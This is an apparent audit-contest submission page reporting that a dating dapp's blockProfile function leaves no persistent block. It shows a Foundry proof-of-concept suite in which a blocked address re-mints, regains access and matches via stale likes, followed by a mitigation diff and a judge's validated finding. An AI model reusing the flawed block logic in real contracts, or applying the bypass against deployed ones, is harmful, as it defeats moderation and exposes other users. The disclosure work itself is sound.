DatingDapp

AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

SoulboundProfileNFT::blockProfile records no block, so a blocked address re-mints a profile in the next transaction, regains full LikeRegistry access, and its pre-block likes still produce instant matches

Root + Impact

Description

  • blockProfile is documented as "App owner can block users" (L56). A blocked user should stay out of the dating app. They should not be able to mint a new profile, like, be liked or match.

  • blockProfile (L57-L66) does exactly what a voluntary burnProfile does: it burns the token and deletes profileToToken and _profiles. It records nothing else, and the contract has no blocked mapping. mintProfile's only guard is profileToToken[msg.sender] == 0 (L31), which the block has just made true. LikeRegistry gates participation only on profileToToken != 0 (L35-L36). So the blocked address mints a new profile in the next transaction and is a full participant again. LikeRegistry never clears likes, so a like someone gave the blocked user before the block completes a match as soon as the re-minted address likes back (L42). Two smaller gaps make the block harder to enforce:

    • The owner cannot block an address before it has a profile (L59).

    • A block emits the same ProfileBurned event as a voluntary burn (L65 vs L53), so off-chain systems cannot tell the two apart.

// src/SoulboundProfileNFT.sol L30-L31: the only precondition for minting
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
@> require(profileToToken[msg.sender] == 0, "Profile already exists");
​
// src/SoulboundProfileNFT.sol L56-L66: a block only burns; no blocked state is recorded
/// @notice App owner can block users
function blockProfile(address blockAddress) external onlyOwner {
uint256 tokenId = profileToToken[blockAddress];
@> require(tokenId != 0, "No profile found"); // L59: an address without a profile cannot be blocked
​
@> _burn(tokenId); // L61
@> delete profileToToken[blockAddress]; // L62: re-opens the L31 check for the blocked address
@> delete _profiles[tokenId]; // L63
​
@> emit ProfileBurned(blockAddress, tokenId); // L65: the same event as a voluntary burn (L53)
}
​
// src/LikeRegistry.sol L35-L36: participation is gated only on holding a profile
@> require(profileNFT.profileToToken(msg.sender) != 0, "Must have a profile NFT");
@> require(profileNFT.profileToToken(liked) != 0, "Liked user must have a profile NFT");
​
// src/LikeRegistry.sol L38-L42: likes are never cleared, so a pre-block like still completes a match
@> likes[msg.sender][liked] = true;
emit Liked(msg.sender, liked);
​
// Check if mutual like
@> if (likes[liked][msg.sender]) {

Risk

Likelihood:

  • It happens every time the owner uses blockProfile. The blocked user restores full access with one permissionless mintProfile call that costs only gas.

  • It happens whenever someone liked the blocked user before the block. The first likeUser call from the re-minted address then completes a match from that stale like.

Impact:

  • The owner's only moderation control has no lasting effect. A blocked address can mint, like, be liked, match and co-own match multisigs again.

  • A user who liked the address before it was blocked is matched with it as soon as it re-mints and likes back. Matched is emitted, both matches[] arrays are updated, and a 2-of-2 MultiSigWallet co-owned by that user and the blocked address is deployed. Under the current code the wallet receives 0 ETH, because userBalances is never credited (reported separately), so no funds move today. Once crediting is fixed, that user's pooled like payments would go to a wallet the blocked address co-controls.

Proof of Concept

setUp deploys SoulboundProfileNFT and LikeRegistry directly. The NFT is owned by the test contract so that the test can call blockProfile.

The baseline shows that the block takes effect only for a moment: right after blockProfile(alice), Alice can neither like nor be liked.

The other tests show the following:

  • Re-mint and full access: Alice re-mints in the next transaction (token 3), then likes, is liked by a new user and matches again.

  • Stale like: a like Bob gave Alice before the block survives it. Alice's first like after re-minting then:

    • emits Matched(alice, bob);

    • updates both matches[] arrays;

    • deploys a MultiSigWallet with owner1 == bob and owner2 == alice, holding 0 ETH under the current code.

  • No pre-emptive block: blockProfile on an address that has no profile reverts No profile found.

  • Same event: a block emits the same ProfileBurned event, with the same number of logs, as a voluntary burn.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
​
import "forge-std/Test.sol";
import "../src/SoulboundProfileNFT.sol";
import "../src/LikeRegistry.sol";
import "../src/MultiSig.sol";
​
/// @notice DD-04: blockProfile does not persist a block. A blocked address re-mints in the
/// next transaction, regains full LikeRegistry access, and its pre-block incoming
/// likes still produce an instant match + a MultiSigWallet co-owned with it.
contract PoC_DD04 is Test {
SoulboundProfileNFT nft;
LikeRegistry registry;
​
address appOwner;
address alice = makeAddr("alice"); // the user the app owner blocks
address bob = makeAddr("bob"); // liked alice before the block
address carol = makeAddr("carol"); // never had a profile
​
event ProfileBurned(address indexed user, uint256 tokenId);
event Matched(address indexed user1, address indexed user2);
​
function setUp() public {
appOwner = address(this);
nft = new SoulboundProfileNFT(); // owner = this test contract
registry = new LikeRegistry(address(nft));
​
vm.deal(alice, 10 ether);
vm.deal(bob, 10 ether);
vm.deal(carol, 10 ether);
​
vm.prank(alice);
nft.mintProfile("Alice", 25, "ipfs://alice");
vm.prank(bob);
nft.mintProfile("Bob", 27, "ipfs://bob");
}
​
/// Baseline: right after blockProfile the block does take effect (for one moment).
function test_baseline_blockRemovesAccessMomentarily() public {
uint256 aliceToken = nft.profileToToken(alice);
assertEq(aliceToken, 1);
​
nft.blockProfile(alice);
​
assertEq(nft.profileToToken(alice), 0, "block cleared mapping");
vm.expectRevert();
nft.ownerOf(aliceToken); // token burned
​
// Blocked alice cannot like, and cannot be liked
vm.prank(alice);
vm.expectRevert("Must have a profile NFT");
registry.likeUser{value: 1 ether}(bob);
​
vm.prank(bob);
vm.expectRevert("Liked user must have a profile NFT");
registry.likeUser{value: 1 ether}(alice);
}
​
/// Limb 1: blocked address re-mints immediately and regains full LikeRegistry access.
function test_blockedUserReMintsAndRegainsAccess() public {
nft.blockProfile(alice);
assertEq(nft.profileToToken(alice), 0);
​
// Next transaction: alice simply mints again with a new identity. Nothing stops her.
vm.prank(alice);
nft.mintProfile("Alice2", 30, "ipfs://new-face");
​
uint256 newToken = nft.profileToToken(alice);
assertEq(newToken, 3, "blocked address holds a fresh profile (ids 1,2 = alice-old, bob)");
assertEq(nft.ownerOf(newToken), alice);
assertEq(nft.balanceOf(alice), 1);
​
// She can like again ...
vm.prank(alice);
registry.likeUser{value: 1 ether}(bob);
assertTrue(registry.likes(alice, bob), "blocked user can like again");
​
// ... and be liked again by a new user
vm.prank(carol);
nft.mintProfile("Carol", 22, "ipfs://carol");
vm.prank(carol);
registry.likeUser{value: 1 ether}(alice);
assertTrue(registry.likes(carol, alice), "blocked user can be liked again");
​
// And match again (carol likes alice back -> alice likes carol)
vm.prank(alice);
registry.likeUser{value: 1 ether}(carol);
assertEq(registry.matches(carol, 0), alice, "blocked user matched again");
}
​
/// Limb 2: a like given BEFORE the block survives and instantly matches the re-minted user,
/// deploying a 2-of-2 MultiSigWallet co-owned by the victim and the banned address.
function test_staleLikeInstantlyMatchesReMintedBlockedUser() public {
// Bob likes Alice before any moderation
vm.prank(bob);
registry.likeUser{value: 1 ether}(alice);
assertTrue(registry.likes(bob, alice));
​
// App owner blocks Alice
nft.blockProfile(alice);
assertEq(nft.profileToToken(alice), 0);
assertTrue(registry.likes(bob, alice), "stale like NOT cleared by block");
​
// Alice re-mints in the next transaction
vm.prank(alice);
nft.mintProfile("Alice2", 25, "img");
​
// Predict the multisig LikeRegistry will deploy
address predictedWallet = vm.computeCreateAddress(address(registry), vm.getNonce(address(registry)));
assertEq(predictedWallet.code.length, 0);
​
// One likeUser from the banned address -> instant match via the stale like
vm.expectEmit(true, true, false, false, address(registry));
emit Matched(alice, bob);
vm.prank(alice);
registry.likeUser{value: 1 ether}(bob);
​
// matches[] entries for both
assertEq(registry.matches(bob, 0), alice, "victim's matches contains banned user");
assertEq(registry.matches(alice, 0), bob, "banned user's matches contains victim");
vm.prank(bob);
address[] memory bobMatches = registry.getMatches();
assertEq(bobMatches.length, 1);
assertEq(bobMatches[0], alice);
​
// A 2-of-2 multisig co-owned by the victim and the banned address now exists
assertGt(predictedWallet.code.length, 0, "multisig deployed");
MultiSigWallet wallet = MultiSigWallet(payable(predictedWallet));
assertEq(wallet.owner1(), bob);
assertEq(wallet.owner2(), alice);
// Under current code it receives 0 (userBalances never credited)
assertEq(predictedWallet.balance, 0);
emit log_named_address("multisig co-owned by bob + blocked alice", predictedWallet);
}
​
/// Limb 3: owner cannot pre-emptively block an address that has no profile.
function test_cannotPreemptivelyBlock() public {
assertEq(nft.profileToToken(carol), 0);
vm.expectRevert("No profile found");
nft.blockProfile(carol);
}
​
/// Limb 4: a block emits exactly the same event as a voluntary burn.
function test_blockAndBurnEmitIdenticalEvent() public {
// Voluntary burn by bob
vm.recordLogs();
vm.prank(bob);
nft.burnProfile();
Vm.Log[] memory burnLogs = vm.getRecordedLogs();
​
// Owner block of alice
vm.recordLogs();
nft.blockProfile(alice);
Vm.Log[] memory blockLogs = vm.getRecordedLogs();
​
// last log of each is the contract's own event (preceded by ERC721 Transfer)
Vm.Log memory burnEv = burnLogs[burnLogs.length - 1];
Vm.Log memory blockEv = blockLogs[blockLogs.length - 1];
assertEq(burnEv.topics[0], keccak256("ProfileBurned(address,uint256)"));
assertEq(blockEv.topics[0], burnEv.topics[0], "same event signature for block and burn");
assertEq(blockEv.topics.length, burnEv.topics.length);
assertEq(burnLogs.length, blockLogs.length, "no extra block-specific event");
}
}

Run from the repository root, with the file saved as test/PoC_DD-04.t.sol:

FOUNDRY_FFI=false FOUNDRY_DISABLE_NIGHTLY_WARNING=1 forge test --match-path test/PoC_DD-04.t.sol -vv

Result: Suite result: ok. 5 passed; 0 failed; 0 skipped.

Recommended Mitigation

Record the block, check it in mintProfile, allow blocking an address that has no profile yet, and give blocks their own event. A blocked address can then no longer re-mint. Its stale likes become unreachable, because LikeRegistry requires both parties to hold a profile. A blocklist cannot stop a user who moves to a fresh address. It does stop the blocked address itself and the likes attached to it.

--- a/src/SoulboundProfileNFT.sol
+++ b/src/SoulboundProfileNFT.sol
@@ -20,14 +20,17 @@
mapping(address => uint256) public profileToToken; // Maps user to their profile NFT
mapping(uint256 => Profile) private _profiles; // Stores profile metadata
+ mapping(address => bool) public isBlocked; // Addresses blocked by the app owner
event ProfileMinted(address indexed user, uint256 tokenId, string name, uint8 age, string profileImage);
event ProfileBurned(address indexed user, uint256 tokenId);
+ event ProfileBlocked(address indexed user, uint256 tokenId);
constructor() ERC721("DatingDapp", "DTN") Ownable(msg.sender) {}
/// @notice Mint a soulbound NFT representing the user's profile.
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
+ require(!isBlocked[msg.sender], "Address is blocked");
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
@@ -56,13 +59,15 @@
/// @notice App owner can block users
function blockProfile(address blockAddress) external onlyOwner {
uint256 tokenId = profileToToken[blockAddress];
- require(tokenId != 0, "No profile found");
+ isBlocked[blockAddress] = true;
- _burn(tokenId);
- delete profileToToken[blockAddress];
- delete _profiles[tokenId];
+ if (tokenId != 0) {
+ _burn(tokenId);
+ delete profileToToken[blockAddress];
+ delete _profiles[tokenId];
+ }
- emit ProfileBurned(blockAddress, tokenId);
+ emit ProfileBlocked(blockAddress, tokenId);
}
/// @notice Override of transferFrom to prevent any transfer.
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-01] `SoulboundProfileNFT::blockProfile` make it possible to recreate the profile

## Description The `SoulboundProfileNFT::blockProfile` function uses `delete profileToToken[blockAddress]`, which resets `profileToToken[blockAddress]` to `0`. Since the mintProfile function checks for an existing profile by verifying that `profileToToken[msg.sender] == 0`, a blocked account can be recreated by simply minting a new profile. This behavior bypasses the intended permanent block functionality. ## Vulnerability Details By deleting the mapping entry for a blocked account, the contract inadvertently allows a new mintProfile call to pass the check `require(profileToToken[msg.sender] == 0, "Profile already exists")`. Essentially, once an account is blocked, its associated mapping entry is cleared, so the condition to identify an account with an existing profile is no longer met. This loophole enables a blocked account to recreate its profile, undermining the purpose of blocking. ## Impact A blocked account, which should be permanently barred from engaging with the platform, can circumvent this restriction by re-minting its profile. The integrity of the platform is compromised, as blocked users could regain access and potentially perform further malicious actions. ## POC ```solidity function testRecereationOfBlockedAccount() public { // Alice mints a profile successfully vm.prank(user); soulboundNFT.mintProfile("Alice", 18, "ipfs://profileImageAlice"); // Owner blocks Alice's account, which deletes Alice profile mapping vm.prank(owner); soulboundNFT.blockProfile(user); // The blocked user (Alice) attempts to mint a new profile. // Due to the reset mapping value (0), the require check is bypassed. vm.prank(user); soulboundNFT.mintProfile("Alice", 18, "ipfs://profileImageAlice"); } ``` ## Recommendations - When blocking an account, implement a mechanism to permanently mark that address as blocked rather than simply deleting an entry. For example, maintain a separate mapping (e.g., isBlocked) to record blocked accounts, and update mintProfile to check if an account is permanently barred from minting: Example modification: ```diff + mapping(address => bool) public isBlocked; ... function mintProfile(string memory name, uint8 age, string memory profileImage) external { + require(!isBlocked[msg.sender], "Account is permanently blocked"); require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ... function blockProfile(address blockAddress) external onlyOwner { uint256 tokenId = profileToToken[blockAddress]; require(tokenId != 0, "No profile found"); _burn(tokenId); delete profileToToken[blockAddress]; delete _profiles[tokenId]; + isBlocked[blockAddress] = true; emit ProfileBurned(blockAddress, tokenId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!